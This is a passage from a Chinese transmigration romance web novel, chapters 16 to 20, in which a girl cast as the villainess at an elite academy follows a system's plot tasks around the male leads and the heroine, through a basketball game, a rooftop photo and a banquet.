而不多时,身后,熟悉女声疑惑响起,“阮柚?” 声音很好辨认,是女主宁糖。 阮柚话停住。 她意识到,不知何时,周遭静得出奇。 只剩一拍轻过一拍,篮球弹而后落的闷响,愈来愈近。 身后,成玉眸意敛淡,皱了下眉。 循着声音,她似有所感,下意识侧望过去。 不远不近的距离,江净理站在那里,头发黑的纯粹利落,微垂着,眉眼极淡。 斜对面,宁糖望着她,握着手中的徽章,表情欲言又止。 阮柚停在原地,缓缓收回视线,喉咙有些发紧。 毫无预兆下,主要人物大概集齐,这是什么空降的修罗场! 16、第十六章 篮球最终轻抵在她的脚尖。 出现得有些突兀。 阮柚咽了口空气,正欲弯下腰,想帮忙捡起。 然而,手悬在半空之际,成玉抬手拦住她的动作。 “不要捡。” 他低着声说,目光一抬,转而望向江净理。 唇角虽仍带着笑,却很淡。 “篮球,谁丢的谁捡。” 阮柚眨了眨眼:? 她犹豫着站直身。 也好,不掺和。 见氛围逐渐脱轨,阮柚大脑飞转起来。 沉默着,一点点往旁边挪,想着离漩涡中央远一些。 正所谓—— 神仙打架,凡人遭殃。 她只是经过罢了。 沉默几秒以后,江净理神色未变,忽然启唇,“不好意思。” 语调轻描淡写。 毫无征兆,气氛降势。 接着,少年缓步走近,俯身,将徘徊在阮柚脚边的篮球拾起。 动作行云流水。 视野冷不丁一暗,阮柚缩了缩脚尖,不自觉往后退半步。 鼻息是清冽的冷木味。 她曲指蹭了蹭鼻尖,痒痒的,不自在。 身边,江净理站正,手肘抵过篮球,不咸不淡。 “刚才手滑了。” 正屏气凝神看戏的众人:……? 阮柚听着他的话,唇角一抖。 相比比起手滑…… 她宁愿相信是篮球成精。 成玉冷啧了声,抬起眉梢,显然也没相信。 望着江净理,对他的突然出现,本能心生戒备。 所以,江净理过来做什么? 这边,阮柚却是松了口气。 目光一转,看向人群中的女主宁糖。 熟悉的修罗场味道,现在三缺一,就差女主了! 她期待望着宁糖,隔着空气,就差直接勾出手,喊出‘快来’两个字了。 而对面,宁糖很快接收到视线,看着她,手指纠起,眼底担忧更甚。 阮柚默不作声瞥开头。 很好,依旧不在一个频道。 循着这个难得空隙,她选择趁机离开。 待会旁敲侧击,问问女主是什么情况吧。 而正当她耷拉着脑袋,以三步距离之差,即将成功混入人群当路人甲时,一道男声越过长空,缓缓从身后响起。 尔后,他再次问,“这次又要去哪?” 熟悉的声音、问题。 阮柚脚步一促。 周遭目光默契又无情,精准定位落在她身上。 迅速整理平静后,她面色如常,微抬起下巴,转过头去。 江净理。 少年一瞬不瞬看着她,眼眸漆黑透净,等待着她的回答。 依旧极有耐心的模样。 阮柚抱着一丝希望:“是在叫我吗?” 牵着嘴角,笑意有些僵。 江净理笑了下,“当然,这里不会有第二个你。” 他朝她走了过来。 阮柚眼皮一跳,道,“有什么事吗?” 她抿起唇,眼睁睁看着周围人群在江净理来后,渐渐地散开离去。 空气安静了,感官都在放大。 “原来你们认识啊。” 成玉忽然出声,尔后,意味不明一声笑。 "不过可惜,这次比赛,她支持的人是我。" 话音一落,气氛陡然一沉。 江净理淡下眉眼。 阮柚欲言又止,收回视线,想缓和气氛,“其实……” 你们比你们的赛,她只是还人情而已。 话卡在半路。 对面,成玉忽然低下头,笑了下:“而且矿泉水我也很喜欢。” 矿泉水? 阮柚闻言,思路一偏,下意识看了眼那瓶矿泉水。 粉丝后援会发放的,瓶身映着可爱的兔子头。 唔,看来他真的很喜欢兔子。 她心想。 身侧,江净理默了下,后嗓音淡淡,“是么。” 身一侧,隔开距离。 “但愿你不会让她失望。” 成玉一声冷笑,“让开。” 感受到一道视线,阮柚下意识望过去。 江净理在看她。 她眉头一皱。 总觉得对方慢吞吞扫来的视线,多了几分读不懂的情绪。 江净理:“这么说,你的时间还是挺多的。” 阮柚:! / 【系统:请宿主再次确定,是否使用修正卡。】 看台座位上,顶着一圈炙热目光的阮柚,选择了是。 人类的本质是吃瓜。 更何况在这个贵族至上的世界。 所以,就算是只消除关于刚才的大多数记忆,阮柚也不假思索。 完成以后,她往椅背一靠,看着膝盖上的兔耳朵,想到自己的疑惑。 “为什么成玉的应援是兔子。” 系统解释:因为成玉家族的家徽是兔子。 阮柚了然,往椅背一靠。 有钱人的世界,她不太懂。 与此同时,一段剧情渐渐地在脑海成型。 【比赛结束后,阮柚站在看台边,在一片喝彩中看到宁糖。她知道宁糖是在为江净理喝彩。】 【想到最近两人交集变多的传闻,她心底嘲笑宁糖的不自量力。与此同时,心底滋生的怨念、嫉妒开始扭曲发酵。终于,在欢呼人海里,她沉默望着少女纤薄背影,忍不住伸出了手。】 不得不说,这女配做得好敬业呀。 无时无刻,不在想着搞事情,推进剧情发展。 她心里这般想着,台下,一阵激荡。 篮球比赛结束了。 千转百回后,a班最终获胜。 阮柚对结果不是很意外,因为剧情也是这样发展的。 “姐妹们没关系的,我们虽败犹荣。” “成玉已经尽力挽回了,况且前不久,他还不小心拉伤了韧带。” “没错,而且江净理……” “江净理怎么了?运球投篮哪点不是完美,要我说还是你们成玉差一点,愿赌服输。” 阮柚穿梭人群时,身后飘来这些对话。 哦豁。 好像快要吵起来了。 想着任务在身,她定了定神,将谈话抛之脑后。 埋在人群中,阮柚踮起脚,终于发现了女主宁糖的背影。 而斜刺里,篮球场中间,几个球员在闲聊着,而江净理就在其中。 很好,完美角度。 只需要一点动静,就能够被抓个正着。 阮柚钻过人群,脚步停在宁糖的三步距离。 人走近了,她隐约注意到,靠在看台外缘栏杆的宁糖,不像是在等男主过来的样子。 因为她正垂着头,有种说不出的专注。 从阮柚的方向看,似乎在摩梭着掌心里的……徽章? 阮柚迟迟没有下定决心。 她恍惚想起,对方之前那句“我们应该是朋友”的话。 鲜活、直白。 【系统忽然道:心软不是神明,不能拯救你的生命。】 阮柚点了点头,轻声,“我知道了。” 系统没再说话。 它不懂感情,但它也知道,宿主前世病痛缠身,朋友寥寥无几。 越是稀缺,就越珍视。 所以它才会提醒。 阮柚抿了抿唇,心定了定。沉默着,脚步往前一抬。 然而,没等她有所动作,原本抛在身后的吵闹声,在以迅雷不及掩耳之势字放大。 “江净理才是最优秀的!” "胡说八道!谁允许你推我的。" 阮柚心道不妙,眉头轻皱,下意识想侧过身。 而没等她做出反应,倏然间,左边的肩膀被人猛地一撞。 身体没了支点,眼前只剩下错乱的空白。 还有近乎失衡的下坠感。 阮柚微微睁大眼睛,抓了一把空气。 天要亡她! 混乱中,她无意撞入人群中,女主宁糖的眼睛,惊慌失措。 以及,朝她的方向伸出的一只手。 一时间,天昏地暗。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 17、第十七章 等阮柚反应过来后,身边乌泱泱围了不少人。 耳边嘈杂地有些混乱。 她头脑昏沉沉的,不自觉动动手指,贴在地上的左掌心隐隐传来痛感。 ……水逆了。 她吁了口长气,盯了三秒鞋尖。 人群中,有女生脸涨红着跑了过来,“对,对不起,我不是故意的。” 女生愧疚又懊恼,刚才吵架不该激动到推搡,还把无辜的人推倒了。 她紧张问,“同学你还好么,有哪里受伤吗?要不要去医务室。” 身边,宁糖安静搀扶起阮柚,动作小心翼翼,心揪着,有些自责。 她差一点就拉住阮柚了。 她出声,“阮柚,我陪你去医务室。” 阮柚站直了身子,右手拍了几下沾上的灰尘。 “我没什么事。”顿了顿,语气认真,“真的没事,大家散了罢。” 比起任务落了个空,这点小伤算得了什么呢。 “怎么了。” 一道男声倏然响起,本淡漠着,但看清大概后,似绷紧起来。 “阮柚?” 不用抬头,就知道是江净理。 阮柚大脑飞速思考,默默将胳膊从宁糖那里抽了回来。 心底处,一点点希望开始萌芽。 就算女主没有摔倒,能不能在剧情强大作用下,一切进展如常呢? 而此时,系统如幽灵般冒出声:“不会哦。” 宛若恶魔在低语。 阮柚一听,再次耷拉下肩膀。 …呜 宁糖下意识让了下,“江同学?” “摔到了,哪里受伤了?” 江净理微微俯身,认真地询问。 阮柚一听,很快摇摇头,“没有。” “我没什么事。”她重复道,悄无声息往后躲了下手背。 潜意识告诉她,这个时候,这个场合,要离男主大人远一点。 而不远处,几个追上来的球员面面相觑,都从对方那里看到了同样的惊讶。 听、听错了吧?他们居然从江净理语气里,听出温柔? 重金求问这个女生是谁! “我送你去医务室。” 江净理敏锐察觉到什么,视线严肃起来,不由分说朝她伸出手。 等! 阮柚忽然察觉到什么不对,这剧情桥段说不出的熟悉。 不是应该是和女主的台词吗! 想到这里,她快速摆摆手,病急乱投医般,于人群中,不偏不倚抓住宁糖的手腕。 明显感受到对方手腕一抖,似乎反应不及,一个激灵。 “阮柚?”宁糖声音迟疑。 阮柚弯弯唇角:“不用麻烦你了,她说好了要陪我去。” “啊?哦,对。” 宁糖听着话,后知后觉点了点头。 像是想要帮忙证明什么。 江净理薄唇微抿,眸淡下来,站在那里没动。 又一次的拒绝。 面前少女灵动、鲜活,可却不曾一瞬,温暖落在他身上。 可猎人总是耐心的。 “好。” 听着对方的话,阮柚短暂松了口气。 不得不说,男主大人不笑的时候自带磁场,还是挺让人有压力的。 正欲离开之际,面前视野倏然微暗。 江净理揉了揉她的发,道,“那再见。” 阮柚心不由得一紧,望着眉眼带笑的江净理,伸手挠顺微乱发丝。 …可恶! 直到坐在医务室上着药,刚才的画面不受控钻入脑海。 越想越后悔。 早知道直接说那句“男女授受不亲”了! 默默吃瓜的系统:……咳。 怎么感觉宿主像是被暗算了? “小姑娘怎么伤得,怪让人心疼的。” 对面。校医阿姨低头处理着伤口,忍不住说道。 少女皮肤白皙嫩滑,因此如今,多了的几道擦伤愈发醒目。 阮柚不自觉也低下声:“不小心蹭到的。” 校医语气温柔,动作放的很轻,“上药会有些疼,乖,先忍一忍。” 不知为何,她看到这个女孩第一眼就心生好感。 而隔帘一侧。 躺在隔壁病床、因逃课翻墙扭伤脚踝、某不知名同学听着对话,唇角不由得抖了抖。 这下玩手机都不香了。 没听错吧,这是印象里脾气古怪的校医吗? 不带这么差别对待的。 / 回到班级座位后,阮柚看着手里的软膏。 是刚在走在半路,成玉叫住递给她的,听说是很有效的药。 唔,好像又欠了个人情。 有人叫了一声她的名字。 阮柚将软膏拢在手心,抬起头,是她的前桌。 好像叫……李稚。 名字特别到过目不忘。 李稚嘴唇瓮动,又下定决心,“阮柚,能问你一个问题吗?” 阮柚接话:“什么问题。” 说完这四个字后,她后知后觉感受到—— 怎么周围原本看书的同学好像都放下书看过来了! “你和江净理是什么关系?” “没关系。”阮柚不假思索,仿若肌肉记忆。 而对方一副不相信的样子。 她掏出手机。 阮柚低下头,顺着对方的动作看向手机亮起的屏幕。 荧荧电子光中,一个论坛帖子标着红色hot,以分秒距离更新换代,层层垒起热帖。 标题言简意赅。 【震惊!高岭之花竟公众示爱!(点进即附上细节)】 ——“造谣全靠一张嘴,你哪个班的,怎么这么嚣张。” ——“江净理不会有喜欢的人,因为他永远是我们大家的(狗头)” 而接下来,楼主似乎不厌其烦,直接甩出一张图片。 又附道,“都摸头杀了,简直不要太明显好吗?” 接着收获了满屏回帖。 阮柚眼前一黑。 怕什么来什么! 她坐在椅子上,努力保持冷静。 表情真诚认真,直到解释口干舌燥,周围人似乎开始接受了逻辑。 “所以,是因为你帮了他一个大忙?” 有人附和,“所以他才这么特别?” 阮柚揪着书包带,点头如捣蒜。 努力打假的她,也不忘时刻谨记要维持的人设。 她微微坐直,义正言辞重复,“没错,是因为我帮了他。” 她清嗓,“原因我就不说了,你们要是想知道,就去问问江净理。” 大伙一听江净理的名字,顿时歇下追根到底的心。 圣煜既是贵族学院,里面学生自然非富即贵。 但里面所有人,明里暗里都维护着一个规则。 有些人高高在上,是不能冒犯的。 见周遭人终于散去,阮柚舒了口气。 她趴在桌上,下巴搁在臂弯上。 唔,安静的世界真好。 眼睛一抬,不经意望了眼斜侧反方空荡的座位。 顾叙请了两天假,为下下周的钢琴巡演留出练习时间。 钢琴巡演……好像也是个重要剧情点。 阮柚睫毛颤了颤,脸埋在臂弯,温暖又舒适。 算了,暂时先不想了。 / 周末,孟季雪在电话里约阮柚去看礼服,为宴会做准备。 听到邀约时,阮柚一愣,一时没反应过来。 对面的孟季雪似乎早就预判到了,轻哼了声,“帝宴不就是推迟了半个月吗,你怎么这么快就忘了。” 阮柚闻言,应了声,“好的。” 确实,不说她都快忘了。 顺着给的地点,阮柚陪孟季雪来了家高定礼服店。 她抬起头看了眼天花板,才意识到舒缓流淌在身上的光缎是因为吊灯上镶满的钻石。 壕,壕无人性。 她收回目光,亦步亦趋。 孟季雪是这里的常客。很快,接应的店员推荐了两款当季高定新款。 “都是独一无二,全球仅一件。” 孟季雪抬了抬眼皮,矜持点头,“行,那我就试一下吧。” “阮柚,你待会儿帮我选一下。” 语气难得多了认真。 之前不是没选过,不是没听过别人建议,但之前跟来的朋友基本都是变着花样夸。 她都听厌了。 又无缘由的,她好像笃定能从阮柚那里得到答案。 阮柚不假思索点头,当然可以了。 她弯了弯唇。 毕竟她可是时刻尽职尽责的小跟班。 等了几分钟,孟季雪走出来。 在对比之后,阮柚略微思忖,空中手指一停。 “这件绿色的。” 孟季雪问:“为什么?” 阮柚:“更显白提气质。”又想了想,“一字领能露出你的锁骨,而且收腰设计,很显身材。” 最后,她真心赞美,“你的锁骨很漂亮。”所以要发扬长处。 孟季雪望着镜子,听到阮柚夸赞的话,脸颊微微一热。 很多时候,她能够分清话语的真假,即使是赞美。 “……哼,算你有眼光。” 阮柚:? 听这回答,应该是赞同她想法的意思吧? 几位店员见状跟着夸赞起来。 “这么美,出席宴会一定迷倒不少帅气男孩。” “没错,没错。” 孟季雪看着镜子的自己,嘁了一声,“我们女生漂亮都是给自己看的。” 阮柚一时不明所以,却还是顺着她动作走了过去。 心里对孟季雪的观念表示非常赞同。 没错! 孟季雪扭头道:“给她也选一件吧,我买单。” 店员眼睛一亮,笑盈盈地应了声好。 阮柚张了张口,有些意外,“谢谢你。” 说不开心是假的,尤其是在先前任务失败扣了许多金币的情况下。 富婆贴贴。 孟季雪闻言,轻啧了声:“算你走运,今天我心情好。” 选好走去试穿礼服时,阮柚听到身后孟季雪的碎碎念。 “当然,要是他能看到就好了。” “最好这次能成功惊艳到他。” 阮柚抿唇:…… 姐妹,心里话不小心露出声了。 / 周一,圣煜课间。 阮柚回到座位没多久,一段剧情毫无征兆涌入脑海。 她打起精神,定了定神。 【在顾叙当选班长后没多久,阮柚注意到他一连请了两天假。 在她看来,这无疑就是不负责的表现,于是在顾叙回来以后,她有事没事就盯着他的动作、行程,在不打草惊蛇的情况下,想通过暗中观察挑出他的错。】 “此后的几天里,顾叙总感觉一道若有若无的炙热视线?” 阮柚心中嚼着字眼,越念越觉得有些不对劲。 【系统:没错,这样会增加顾叙的厌恶指数,从而推动剧情发展哦。】 阮柚闻言右眼皮重重一跳。 最后,还是下定了决心。 于是乎, 顾叙在专注地自习。 阮柚卷累了,放下笔。 盯—— 顾叙帮同学擦黑板。 阮柚懒倦支下巴,转着笔。 盯—— 顾叙弯腰系鞋带。 阮柚百无聊赖嚼着小熊软糖,保持人设。 盯—— 吃完最后一颗软糖,阮柚叠好包装,打算起身去丢垃圾 而忽然,前桌李稚回过头,表情说不出地严肃。 “我注意你很久了。” 阮柚动作一顿,疑惑抬起头。“什么?” 尔后,被看的隐约有些心虚。 不好的预感隐隐成型。 李稚斟酌着,“老实说,你是不是,”边说着她瞄了眼旁边,神秘兮兮凑近,“喜欢顾叙。” 阮柚一听这话,毫不犹豫摇头 什么跟什么呀。 而她还没说话,对面李稚仿佛心领神会,将距离隔远些,点了点头。 思路来了个三百六十五度大转折。 "不是这个原因,那么,就是顾叙借你钱没还咯?” 阮柚:!!? 然而,话刚落下一秒,不待阮柚有所反应,斜刺里,忽然响起一阵压抑不住地低咳。 声音尤为熟悉。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 18、第十八章 阮柚被对方奇怪的脑回路弄个措手不及。 回过神,她极力否认。 顾叙借……借钱不还? 什么鬼! 呼吸一屏,她捏了捏手心,余光缓缓探了过去。 李稚也觉察到什么,眼神心虚一闪,又忍不住好奇看向声源。 早知道小点声好了。 而斜前方,顾叙拳抵唇前,睫轻压下,将保温杯拧紧放好。 阳光下,少年微垂着头,伸手翻过一页书本,风轻云淡。 唔,一切如常。 见状,阮柚心微微一定,扭过头,眼睛直直望向李稚。 明晃晃写着:话千万不能乱讲! 她是一位有原则的女配。 原则之一:不该碰的瓷绝对不碰。 李稚无辜举了举双手,接收到信号后,又郑重点了两下头。 下次一定小点声。 丢完垃圾回来后,阮柚看到顾叙旁边站着一位男生。 两人在聊着天,男生戴着黑框眼镜,斯斯文文,正将怀里资料递给顾叙。 阮柚总觉得声音熟悉,但也没怎么放在心上。 过道即将路过时,一段对话刚好飘进耳朵里。 “顾叙,你真的没有不舒服?” “没有。” 男生有些半信半疑,“没有?那你的脸为什么这么的……?” “林顿星。”顾叙打断他,将文件叠放在桌前,“你可以走了。” 林顿星推了推镜框,有些愣神。 可以走了?可部门的事还都一点没交代呢。 阮柚听着两人对话,好奇心作祟,又扫了一眼过去。 然而冷不丁地,隔着空气,视线被揪了个正着。 她右眼皮隐约一跳。 顾叙什么时候看过来的! 林顿星不明所以看过去,尔后,心脏倏然一紧。 微风拂动着窗帘,光线顺着发丝跳跃在少女眉眼,澄净而空灵。 太、太好看了吧。 见两人齐齐望过来,阮柚才意识到自己不知不觉停在原地。 她张了张口,不自觉辩解,“我只是路过,我没有听见你们的谈话。” 林顿星不在乎事实真假,人站在一边,斟酌着想要说些什么。 她有些似曾相识。 “阮柚。”顾叙抬起眼皮,深灰眼眸映着她,缓缓问,“你最近是不是有话要对我说?” 阮柚一听,暗道不妙。 少年问的直白,疑惑散去,更多的是对答案的在意。 “我……” 阮柚话语微滞,大脑运转飞速,也没在剧情中找到这一段。 短暂空白时,阮柚看着顾叙的眼睛,绞尽脑汁想要说出答案。 而一旁,林顿星听到阮柚两字瞳孔微缩,一瞬,彻底在记忆对上了号。 是之前偷拍过顾叙的女生! 意识到这点后,火焰浇了大半截,又还是不死心摇曳。 都过去这么久了。 应该早就翻篇了吧? 顾叙默不作声等待着答案,静下心来,将所有多余的情绪藏得隐晦。 而对面,阮柚终于回道:“其实我想问,钢琴巡演,能不能给我一张门票?” 见他怔住,少女神色认真,“我对钢琴特别感兴趣。” 林顿星:…… 还好不是对人感兴趣。 / 阮柚站在天台吹风,心情逐渐平静下来。 多亏系统提醒,她才应付了过去。漫画里,原身确实是获得了那张门票。只不过是为了给虚荣标榜,花大价钱托人抢到的。而在那次巡演中,有着极高的音乐天赋的女主,作为顾叙搭档压轴出场,引起极大的轰动。 尤其引发一系列修罗剧情。 阮柚拨了拨刘海,再次想起刚才顾叙的回答。 只是让她意外的是,他没有犹豫同意了。 听到周围有动静后,阮柚打起十分精神,整个人缩在墙壁之后。 她凝视着墙壁上五彩斑斓的粉笔涂鸦,心中虔诚倒计时。 不多时,宁糖安静走了出来,左右看了看,寻觅到一个僻静角落认真看书。 阮柚探了探脑袋,确定女主的方向,鼻尖不小心蹭了下墙壁。 触感不轻不重,她轻皱着眉摸了摸,又低着声问系统。 “江净理大概什么时候来呀?” 原身因为烦心在天台放松时,无意撞见宁糖和江净理的聊天交集。 怀着某种不可言说的心情,她再次举起手机,默默拍下这张照片。 匿名发帖、引发轰动、删帖打脸、一波流程推动着剧情的发展。 系统:请宿主耐心等待哦。 阮柚乖乖点了点头,眼皮微微耷拉下,百无聊赖数着发梢。 头发好像有点长了。 过了一会儿,不远处传来轻微异动。 是脚步声。 阮柚微微紧张起来,屏气凝神,连忙从兜里掏出手机。 特意选择的完美视角下,她看到江净理背对着这边,停在女主不远处。 两人似乎在说话。 阮柚满意地翘了翘唇角,一切比想象的要顺利。 重操女配旧业,她熟练打开相机。 然而,当手指对焦好画面,她对着手机抿了下唇,隐约感觉到不对劲。 两个人怎么……这么快分开了! 还隔得这么远,泾渭分明。 四周一片安静,除了流动的风声,只有近在咫尺的呼吸声。 不应该对女主手中那本名著进行深度交流探讨吗? 阮柚落下手臂,再次有种不受控地虚浮感 任务本身不难,但—— 任务对象不配合呀! 感受到宿主心底的沮丧,系统冒出声音,“只要能够推动剧情,过程不重要。” 阮柚眨了眨眼睛,反复琢磨着这句话。 有冷风袭来,她抬手拢起羊毛围巾,脸颊被吹得生凉,却倏然抓住清明。 阮柚决定赌一把。 蓄足勇气后,她心一横,从遮挡的墙壁后探出身。 还未开口说话,就感受到一道存在感极强的视线徘徊在自己身上。 “那个……” 阮柚感叹男主大人的敏锐,捏着手机,试探问,“能不能请你帮我一个忙?” 她斟酌着接下来的话。 不远处,宁糖听见声音合上书,疑惑发问,“阮柚,你怎么在这里?” 江净理嗓音低磁:“可以。” 阮柚眼睛一亮,居然连为什么都没问。 哦豁。 赚到了。 “我最近在练习摄影,现在需要模特。” 说完,她笑盈盈看向宁糖,“可以给你们拍一张照片吗?” 宁糖点头:“我没问题。” 说罢,她抱着书,有些欲言又止。 江净理微微颔首,喉结微动,“先过来。” 阮柚:“嗯?” 见阮柚不动,他直接朝她走了过去。 少年人影微微遮下,黑发覆过眉梢,眸色专注认真。 距离近到几乎淹没。 阮柚依旧不明所以,但距离近了,周遭都变得几近安静。 鼻息热气混杂着熟悉的冷香,蓦地闯入世界。 她下意识退后半步,想要试图拉开距离 而不多时,鼻尖蜻蜓点水点下温热,抹过,又消失。 阮柚眨了眨眼睛,两秒后,僵硬着摸了摸鼻尖。 面前视野些微亮起后,她直直迎上对面江净理的目光 少年捻了下指尖,尔后,抬唇笑了下,“应该是沾上颜料了。” 阮柚:……!! 所以她刚才,一直在顶着这副样子说话?魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 19、第十九章 阮柚一时安静,下巴缩在围巾,遮过微热的脸颊。 “……谢谢你。” 欲成大事者,越是这种尴尬场合,就越要淡定从容。 她默默瞥开视线。唔,别想了。 江净理不假思索:“不客气。” 周遭,冷风鼓动着衣衫。 微凉触感融化在皮肤,捻过的指尖逐渐攀上热意。 很可爱。 心系着任务,阮柚努力将小插曲抛在脑后,手机往上一举,手势示意他们站好。 视线稍稍定了定,一本正经调起角度,说不出地专业认真。 阮柚心中豁然,同时,越发觉得想了个好点子。 蓝天白云,俊男靓女,多般配呀。 而最重要的是——只要这么简单就能完成任务了! 几秒后,她清了清嗓,倒计时,“三,二,一。” 镜头里,两人沉默着配合。 拍好以后,宁糖从旁边凑了过来,有些好奇地确认起来,“怎么样?” 阮柚调出界面给她看,尔后,听到对方毫不吝啬地赞美。 “哇,拍得很不错。” 阮柚不由自主嗯了声。 尾音微扬,真的吗? 她安静看着照片,鼓了鼓腮帮,总觉得照片哪里有些不满意。 其实照片本身倒是没什么问题,只不过…… 正想着,江净理从对面走了过来:“我看看。” 少年伸出的手骨节分明,稍遮过阮柚的手机屏幕,似乎想要在光线下看得更清楚。 顺着对方力道缓缓移过去时,阮柚终于锁定了造成结果的罪魁祸首。 ……她笃定,这照片,没有感情,全是技巧。 特别是,照片里,男主大人表情为什么这么冷! 衬得阳光都没那么和煦了。 与此同时,江净理微微颔首,嗓音轻淡,“挺好。” 阮柚闻言一顿,郑重又狐疑地看向他。 ……你确定吗? 她想,如果不是审美有偏差,就是在睁眼说瞎话。 还面不改色那种。 江净理不置可否,像是她的听懂心声,勾唇,“嗯,确定。” 阮柚眨了眨眼睛,回过头。 好吧。 少年手指闲闲搭在手机边缘,微偏着头,望向她的侧脸,眉眼专注描摹。 日光斜扫过,地面人影重叠,好似环在臂弯依偎般。 而少女对越界的亲密浑然不觉,紧抿着唇,心思全然系在那张照片上。 回神后,她还是不确定地呼叫系统,问这张照片可不可以用。 在得到满意答复后,心中大石头终于落地。 一锤定音,大功告成! 阮柚翘了翘唇角,望着碧空云层,心情由衷转晴,都写在脸上。 “这次谢谢你们。” 宁糖一听笑了笑:“能帮到你就好。” 另一边,江净理却问:“一张就够了吗?” 察觉到对方远离的动作,他喉结微动,走近,不经意问出声。 阮柚闻言,点了点头:“嗯,已经够了。” 现在没了任务,连带空气都轻快许多。 等会再去买包小熊软糖奖励自己! 安静将手机放好后,她朝两人弯唇笑了笑,道别,“没什么事了,我先走了。” 宁糖微微颔首:“好,再见。” “有事。” 冷不丁地,转身之际,江净理出声叫住了她。 阮柚脚步一顿,茫然,“嗯?” 江净理掀起眼皮,慢条斯理提议,“时间还早,我们俩拍几张吧。” / 今天最后一节课,许老师宣布了即将在下周一调座位的事。 即使是贵族学院,学生也迷恋着调座位带来的新鲜感,这句消息一放出来,原本一潭死水的班级顿时躁动浮沉。 “依照成绩划分先后选座位。” 此话一出,有人捂着心口夸张哀嚎,“老师,这不公平!” 许老师不为所动,继续道,“在圣煜,这就是公平。” 阮柚半趴在桌上,眼皮缓缓耷下,和周遭热闹格格不入。 眼前的一切迷蒙着烁动,逐渐连带声音消弭,好困……怎么还不放学。 而不多时,一段清晰而突兀的系统音活跃在脑海。 【系统:任务即将发布。】 阮柚顿时弹起了身,打起十分精神。然而胳膊无意间一侧,却不小心将保温杯坠蹭落在地。 声音突兀脆亮,回弹着延长,最后悠悠滚动徘徊。 整个过程不超过十秒。 阮柚吞咽了口空气,连忙俯下身,想将杯子捡起。 而不多时,一只手抢先一步。 阮柚见状,低声道了声谢,抬眸,对上一对深灰色的眼睛。 像猫一样沉静。 一瞬间,她莫名联想 顾叙将杯子递给她,声音很轻,“没事。” 经此插曲,阮柚彻底没了困意,将杯子妥善放好后,听着系统接下来的话。 这是原漫的一段剧情。 【在听到调座位时,阮柚想到自己的班级排名,仅仅排在顾叙之后。她心想,那是不是意味着,她可以为所欲为了?】 阮柚听着“为所欲为”四个大字,眼皮重重跳了跳。 不得不说,原身真是逻辑鬼才。 ……所以? 她心领神会,有些复杂地看向顾叙专注看书的后脑勺。 【系统:宿主需要不经过顾叙同意,强行成为他的同桌,从而提高顾叙的厌恶指数哦。】 阮柚彻底了然,舒了口气,提前收拾起书包。 看来要和顾叙当短期同桌了。 而这个短期,说白了也就三天。 因为很快,顾叙就以“喜欢安静”为由调了座位。 而她那三天里要做的,是不厌其烦在他耳边叽叽喳喳。 / 帝宴承办当天晚上。 作为最豪奢的贵族宴会之一,帝宴名流顶贵云集,无疑是身份的标榜证明。 当然,除了她。 庄园宴会厅里,阮柚百无聊赖站在角落,看着圆盘上的精致甜品毫无食欲。 所以女主到底在哪呢?怎么找半天都没看到。 不远处,几位保养极好的贵妇握着高脚香槟杯谈笑风生。 一动一静,谈话声不可避免钻进耳朵里。 “听说前不久犯人找到了?真是胆大包天啊。” “嗯,不得不说,那人不仅胆子大,还很会逃。不过没办法呀。” “谁让他招惹的是江净理那孩子呢,所以下场,啧……” 江净理? 聊天声中,阮柚嗅到重要讯息,捕捉到一个熟悉的名字。 没经细想,在穿梭的人群里,她忽然瞥见和宁糖七分相似的侧脸。 眨了眨眼,一晃而过。 她心顿时紧了紧,念着即将要修正的重要剧情任务,脚步一抬,依旧抱着试一试的心追了上去。 跟着出了主宴厅,阮柚来到一道长廊。 正值寒冬时节,漫长佐道的玫瑰却鲜艳欲滴,在皎洁月色下极尽震撼。 阮柚呼吸错落白气,目光放远,不自觉摸了摸胳膊肘。 尔后,很快收回视线,她现在可无心欣赏,先找到女主再说。 路上,她和来往的宾客擦肩而过。 她明明看到是走到这里了呀。 优雅的宴会交响乐逐渐消失耳后,她默默走着,却越走越不确定。 最后索性停下脚步,及时止损。 换个地方找找。 然而—— 正欲原路返回之际,转过身,忽然撞上一堵人墙。 隐约间,有种混着清冽纯粹,近乎薄荷冷香的苦艾酒的味道。 极淡,却又热得发烫、绵长。 阮柚心口重重一跳,一拍重过一拍。 望着出现在面前的江净理,一时连话都忘了说。 救!! 男主怎么过来了! 阮柚下意识靠过墙壁,寻找支撑的平衡。 “你怎么在这…?” 而话语被迫戛然,对面,少年眸沉而深,下巴垂落在她的肩头,低语着,“不要走……” 肩头陡然落下一片滚烫。 一瞬间,阮柚全然掠过相关的剧情。 帝宴当天,男主生病发烧,却为家族如约赴宴。 而女主无意撞见失态的男主,从此引发一连串剧情。 一切似乎如常, 但是关键是—— 阮柚呼吸微屏,推了推他的肩膀,尽量保持冷静,“江净理,我是阮柚。” 清醒一点! “阮柚……” 江净理长睫低闪,低喃着名字。 显然听了进去。 见状,阮柚微微松了口气,道,“对啊,你快点起来,我帮你找……” 然而话还没说完,只听他缓缓轻语,认真商量的口吻,“以后只看着我好不好。” 阮柚:……!? 与此同时,斜对面交叉的走廊,传来谈话声愈来愈近。 寸寸逼近的声音里,夹着一道再熟悉不过的声音,一如既往地漫不经心,“得了,如果不是祖母,我才不会来。” 几秒后,又一道声音淡淡响起,朗润依旧,“她会很高兴。” 是成玉和顾叙。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 20、第二十章 第20章 第二十章 事情怎么会发展成这样! 辨清声音后, 阮柚顿时心跳如擂鼓,放缓的呼吸声仿若近在咫尺。 救!!! 怎么偏偏都赶在这个时候! 在眼前,少年紧挨的气息滚烫拂来, 全然遮过感官,压迫感极强。 而不远处,伴随着心跳声放大, 交谈声愈来愈近, 每一步都踩在绷紧的弦上。 冰火两重天,阮柚进退维谷, 一时间,只好将希望寄托在男主的身上。 清醒一点!! 她竭力保持镇定,纠起对方衣角,压低下声, “江净理,现在……” 而话语尚未道清, 肩侧处倏然一轻。 尔后, 很快被一道袭来的力所取代, 穿过发丝轻扣而过。 最终她的视野一暗, 整个人淹没入一个怀抱。 阮柚心头一震:……! 鼻息处, 彻底盈满他的气息。 “我知道。”少年开口,嗓音轻而淡,恍若一阵幻听。 什么? 阮柚睫毛颤落, 闻声, 动作下意识戛然。 与此同时, 不好的预感在隐约成型 果不其然,原本相对清净的长廊,又一次响起一道熟悉至极的男声。 这一次, 直指这边。 长廊里,少年的声音由远及近,又略带戏谑,“我还以为自己看错了,这不是我们首席贵公子江净理吗?” 